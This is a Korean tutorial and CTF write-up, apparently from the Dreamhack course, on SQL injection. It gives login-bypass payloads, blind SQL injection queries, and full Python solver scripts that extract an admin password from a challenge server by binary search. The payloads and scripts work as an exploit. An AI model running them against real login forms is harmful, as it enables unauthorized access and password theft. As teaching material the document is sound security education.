/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
이용자가 입력한 "dreamhack"과 "password" 문자열을 SQL 구문에 포함하는 것을 확인할 수 있음
이용자가 SQL 구문에 임의 문자열을 삽입하는 행위를 SQL Injection이라고 함
SQL Injection이 발생하면 조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있음
SQL Injection으로 조작한 쿼리
<sql />
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='admin'
user_pw 조건문이 사라진 것을 확인할 수 있음
조작한 쿼리를 통해 질의하면 DBMS는 ID가 admin인 계정의 비밀번호를 비교하지 않고
해당 계정의 정보를 반환하기 때문에 이용자는 admin 계정으로 로그인할 수 있음
2. Simple SQL Injection
- 실습 모듈: 아이디와 비밀번호를 입력받고 DBMS에 조회하기 위한 쿼리를 생성 및 실행
- 실습 모듈에서 사용하는 user_table은 다음과 같이 구현되어 있음
- 실습 모듈 목표: 쿼리 질의를 통해 admin 결과를 반환하는 것
- SQL Injection 공격에서 제일 중요한 것은 이용자의 입력값이 SQL 구문으로 해석되도록 해야 함
- 실습 모듈에서 사용하는 쿼리문의 경우, 이용자의 입력값을 문자열로 나타내기 위해'문자를 사용하는 것을 볼 수 있음
- 이용자의 입력값이 SQL 구문으로 해석되기 위해서는'문자를 입력하는 방법이 있음
-uid에admin' or '1을 입력하고, 비밀번호를 입력하지 않았을 때 생성되는 쿼리문은 다음과 같음
<sql />
SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';
쿼리문을 두 개의 조건으로 나눠볼 수 있음
첫 번째 조건은uid가"admin"인 데이터,
두 번째 조건은 이전의 식이 참(True)이고,upw가 없는 경우
첫 번째 조건은admin의 결과를 반환하고, 두 번째 조건은 아무런 결과도 반환하지 않음
다시 말해,uid가"admin"인 데이터를 반환하기 때문에 관리자 계정으로 로그인할 수 있음
- 이외에도 주석 (--,#,/**/)을 사용하는 등 다양한 방법으로 SQL Injection을 시도할 수 있음
<sql />
SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';
- SQL Injection을 통해 의도하지 않은 결과를 반환해 인증을 우회하는 것을 실습함
- 해당 공격은 인증 우회 이외에도 데이터베이스의 데이터를 알아낼 수 있음
→ 이때 사용할 수 있는 공격 기법이 Blind SQL Injection
- 해당 공격 기법은 스무고개 게임과 유사한 방식으로 데이터를 알아낼 수 있음
- 공격자는 이러한 방법으로 데이터베이스의 내용을 알아낼 수 있음
Q1. dreamhack 계정의 비밀번호 첫 번째 글자는 'x'인가요?
A1. 아닙니다
Q2. dreamhack 계정의 비밀번호 첫 번째 글자는 'p'인가요?
A2. 맞습니다(첫 번째 글자 =p)
Q3. dreamhack 계정의 비밀번호 두 번째 글자는 'y'인가요?
A3. 아닙니다
Q4. dreamhack 계정의 비밀번호 두 번째 글자는 'a'인가요?
A4. 맞습니다(두 번째 글자 =a)
- 위와 같은 형태로 DBMS가 답변 가능한 형태로 질문하면서 dreamhack 계정의 비밀번호인password를 알아낼 수 있음
-Blind SQL Injection: 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법
Blind SQL Injection 공격 쿼리
- Blind SQL Injection 공격 시에 사용할 수 있는 쿼리
<sql />
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's'')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
① SQL Injection: SQL 쿼리에 이용자의 입력 값을 삽입해 이용자가 원하는 쿼리를 실행할 수 있는 취약점
② Blind SQL Injection: 데이터베이스 조회 후 결과를 직접적으로 확인할 수 없는 경우 사용할 수 있는 SQL Injection 공격 기법
익스플로잇
Blind SQL Injection
비밀번호는 SQLite의users테이블에 있으므로, 이 테이블의 값을 읽는Blind SQL Injection코드를 작성하겠습니다. 지난 SQL Injection 코스에서 이야기 한 것처럼Blind SQL Injection(BSQLi)는 여러 번의 질의를 통해 정답을 찾아내는 스무고개 놀이와 비슷합니다.
비밀번호를 구성할 수 있는 문자를 출력 가능한 아스키 문자로 제한했을 때, 한 자리에 들어갈 수 있는 문자의 종류는 94 (0x20 ~ 0x7E)개입니다. ✨아스키 테이블을 확인해보세요.비밀번호가 10자리만 되어도, 가능한 경우의 수가9410≃5×1019개에 이릅니다.
다행히 쿼리를 잘 이용하면 각 자리를 따로 조사할 수 있으므로, 실제로 전송해야할 최대 쿼리의 갯수는940=94×10로 줄어듭니다. 이분 탐색 알고리즘을 적용하면log294×10≃65개로 더욱 축소됩니다. 적어보일 수 있지만, 여전히 직접 시도 하기에는 많습니다. 더욱이 비밀번호의 길이가 이보다 길수도 있으므로, 자동화 스크립트를 작성하는 것이 바람직합니다.
로그인 요청의 폼 구조 파악
쿼리를 자동화하려면, 로그인할 때 전송하는 POST 데이터의 구조를 파악해야합니다. 크롬의 개발자 도구를 이용하겠습니다.
개발자 도구의 네트워크 탭 열고, Preserve log 클릭
로그 보존 기능
userid에 guest, password에 guest를 입력하고 login 버튼 클릭
로그인 버튼을 통한 네트워크 기록 생성
메세지 목록에서/login으로 전송된 POST 요청 찾기
네트워크 탭을 통한 HTTP 데이터 확인
하단의 Form Data 확인login의 폼 데이터로그인할 때 입력한 userid 값은userid로 password는userpassword로 전송됨을 확인할 수 있습니다.
비밀번호 길이 파악
비밀번호를 알아내기 전에 길이를 먼저 파악하겠습니다. 다음과 같이admin의 비밀번호 길이를 찾아내는 파이썬 스크립트를 작성해보세요. 이진 탐색 알고리즘을 활용하면 시간을 단축할 수 있습니다. ✨
비밀번호 길이 구하기
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> bool:
login_data = {
"userid": userid,
"userpassword": userpassword
}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f"\" or {query}-- ", "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low + high) // 2
if low + 1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def solve(self):
pw_len = solver._find_password_length("admin")
print(f"Length of admin password is: {pw_len}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
$ ./ex.py 23742
Length of the admin password is: [redacted]
코드 실행 결과
비밀번호 획득
비밀번호의 길이를 찾았으므로, 이제 한 글자씩 비밀번호를 알아내는 코드를 작성하겠습니다. 이진 탐색 알고리즘을 활용하면 시간을 단축할 수 있습니다. ✨
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> requests.Response:
login_data = {"userid": userid, "userpassword": userpassword}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f'" or {query}-- ', "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low + high) // 2
if low + 1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def _find_password(self, user: str, pw_len: int) -> str:
pw = ""
for idx in range(1, pw_len + 1):
query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
print(f"{idx}. {pw}")
return pw
def solve(self) -> None:
# Find the length of admin password
pw_len = solver._find_password_length("admin")
print(f"Length of the admin password is: {pw_len}")
# Find the admin password
print("Finding password:")
pw = solver._find_password("admin", pw_len)
print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
정답 예제
$ ./ex.py 23742
Length of the admin password is: [redacted]
Finding password:
1. 0
2. 0e
3. 0ec
...
Password of the admin is: [redacted]
💡Connection timed out
스크립트를 실행하다가 연결 시간 초과 에러가 발생하는 경우가 있습니다. 파이썬의try…except구문으로 에러를 핸들링하거나, 공격에 성공할 때까지 스크립트를 실행해서 이를 해결할 수 있습니다.